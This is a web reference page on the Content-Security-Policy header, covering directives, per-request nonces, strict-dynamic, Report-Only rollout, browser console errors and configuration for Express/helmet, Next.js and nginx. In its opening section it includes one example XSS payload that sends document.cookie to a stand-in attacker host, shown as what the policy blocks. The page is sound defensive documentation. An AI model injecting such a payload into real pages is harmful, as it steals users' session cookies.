# Content-Security-Policy Header: Directives, Nonces and Console Errors

> Content-Security-Policy (CSP) limits what a page may load or run. Directives, nonces, strict-dynamic, Report-Only rollout, console errors, helmet and Next.js.

Source: https://howhttpworks.com/headers/content-security-policy
Last reviewed: 2026-10-04

> **TL;DR:** `Content-Security-Policy` tells the browser which sources may supply scripts, styles, frames and connections, so injected code is blocked. Start with `Content-Security-Policy-Report-Only`, use nonces plus `strict-dynamic` instead of `unsafe-inline`, and add `object-src 'none'; base-uri 'none'; frame-ancestors 'self'`.

## What it blocks

```http
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'
```

An attacker who injects `<script>fetch('https://evil.example/?c='+document.cookie)</script>` through an XSS bug is stopped. In the console:

```text
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.
```

Other messages you will meet:

```text
Refused to load the script 'https://cdn.example.net/lib.js' because it violates the following Content Security Policy directive: "script-src 'self'".
Refused to connect to 'https://api.example.com/data' because it violates the document's Content Security Policy.
Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".
Refused to frame 'https://other.example/' because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'self'".
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive
```

Firefox words it differently and the text varies by version, for example `Content-Security-Policy: The page's settings blocked the loading of a resource at inline ("script-src")`.

## Core directives

| Directive | Controls |
| --- | --- |
| `default-src` | Fallback for fetch directives not listed |
| `script-src` | JavaScript, including inline and `eval` |
| `style-src` | CSS, including inline styles |
| `img-src`, `font-src`, `media-src` | Images, fonts, audio/video |
| `connect-src` | `fetch`, XHR, WebSocket, EventSource, beacons. Blocks API calls |
| `frame-src` / `child-src` | What this page may embed |
| `frame-ancestors` | Who may embed this page (replaces X-Frame-Options) |
| `form-action` | Where forms may submit |
| `base-uri` | Allowed `<base href>`; set `'none'` or `'self'` |
| `object-src` | Plugins; set `'none'` |
| `upgrade-insecure-requests` | Rewrites `http://` subresources to `https://` |
| `report-to` / `report-uri` | Where violations go |

`frame-ancestors`, `report-uri`, `report-to` and `sandbox` do not fall back to `default-src`. `prefetch-src` and `navigate-to` were dropped from the standard or never shipped; do not rely on them.

Source values: `'self'`, `'none'`, `https:`, `https://cdn.example.com`, `https://*.example.com`, `'nonce-<value>'`, `'sha256-<base64>'`, `'strict-dynamic'`, `'unsafe-inline'`, `'unsafe-eval'`, `'wasm-unsafe-eval'`, `'report-sample'`. Keywords must be quoted.

## Strict CSP with nonces

The recommended modern policy needs no host list:

```http
Content-Security-Policy: script-src 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none'
```

```html
<script nonce="rAnd0m123" src="/app.js"></script>
```

The nonce must be unguessable (at least 128 bits of randomness) and new on every response. A static nonce, or caching a page with a baked-in nonce, defeats it. With `strict-dynamic`, scripts loaded by trusted scripts also run, and `'self'` and host entries are ignored by modern browsers (keep `https:` and `'unsafe-inline'` as fallbacks for very old ones; they are ignored when a nonce is present).

Express with helmet and a per-request nonce:

```javascript
const crypto = require('crypto')
const helmet = require('helmet')

app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString('base64')
  next()
})

app.use(
  helmet.contentSecurityPolicy({
    useDefaults: true,
    directives: {
      'script-src': ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`, "'strict-dynamic'"],
      'object-src': ["'none'"],
      'base-uri': ["'none'"],
      'frame-ancestors': ["'self'"]
    }
  })
)
```

Next.js (App Router) generates the nonce in its request proxy (called middleware before Next.js 16) and reads it from the `x-nonce` request header; pages must be dynamically rendered for nonces to apply. Condensed from the official guide:

```typescript
// proxy.ts (middleware.ts with `export function middleware` before Next.js 16)
import { NextRequest, NextResponse } from 'next/server'

export function proxy(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
  const csp = `default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; style-src 'self' 'nonce-${nonce}'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'`
  const headers = new Headers(request.headers)
  headers.set('x-nonce', nonce)
  headers.set('Content-Security-Policy', csp)
  const response = NextResponse.next({ request: { headers } })
  response.headers.set('Content-Security-Policy', csp)
  return response
}
```

In development, React needs `'unsafe-eval'` for debugging; add it only when `NODE_ENV === 'development'`.

nginx (static policy, no inline scripts):

```nginx
add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'self'" always;
```

Static HTML behind nginx cannot use nonces; use `'sha256-...'` hashes of inline scripts instead. The browser prints the needed hash in the violation message.

## Report-Only rollout

```http
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"
```

Violations are logged and sent but nothing is blocked. For cross-browser coverage send both, since Firefox and Safari use the older mechanism:

```http
Content-Security-Policy: ...; report-uri /csp-report; report-to csp-endpoint
```

Report-Only supports every directive except `sandbox`, which it ignores. A `<meta>` tag cannot deliver `report-uri`, `frame-ancestors` or `sandbox`, and cannot be Report-Only at all.

Receiver:

```javascript
app.post(
  '/csp-report',
  express.json({ type: ['application/csp-report', 'application/reports+json', 'application/json'] }),
  (req, res) => {
    console.warn('CSP violation', JSON.stringify(req.body))
    res.sendStatus(204)
  }
)
```

Expect noise from browser extensions injecting scripts; filter on `blocked-uri` values like `chrome-extension://` and `moz-extension://`.

## Debug

```bash
curl -sI https://example.com | grep -i '^content-security-policy'
```

- Several `Content-Security-Policy` headers (or a header plus a meta tag) combine, and each must allow a resource, so a second, stricter policy from a CDN or framework silently breaks things. Find the source with `curl -sI` against origin and edge separately.
- The Network panel's "Issues" tab and the Security panel list the blocked directive.
- Inline event handlers such as `onclick="..."` are blocked without `'unsafe-inline'` or `'unsafe-hashes'`; use `addEventListener`.
- Google Tag Manager, Stripe and analytics scripts add their own hosts to `script-src`, `connect-src` and `frame-src`; take the lists from their docs.
- Evaluate your policy with Google's CSP Evaluator.

## Pitfalls

- `unsafe-inline` in `script-src` without a nonce makes the policy mostly decorative against XSS.
- Allowlisting a JSONP-capable or user-content host (`https://*.googleapis.com`, `https://cdn.jsdelivr.net`) allows script gadgets; nonces avoid this.
- `default-src 'self'` alone does not stop form posts to other sites or framing of your page; add `form-action` and `frame-ancestors`.
- Policies are per document. Workers and iframes follow their own response headers, except that `blob:`/`data:` workers inherit.

## Related

- [X-Frame-Options](https://howhttpworks.com/headers/x-frame-options), [X-Content-Type-Options](https://howhttpworks.com/headers/x-content-type-options), [Referrer-Policy](https://howhttpworks.com/headers/referrer-policy), [Permissions-Policy](https://howhttpworks.com/headers/permissions-policy), [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security)
- [CORS vs CSP](https://howhttpworks.com/compare/cors-vs-csp) and the [Site verifier](https://howhttpworks.com/tools/site-verifier)
- [CSP Report-Only](https://howhttpworks.com/headers/content-security-policy-report-only) for rollout, and [Reporting-Endpoints](https://howhttpworks.com/headers/reporting-endpoints) for `report-to`
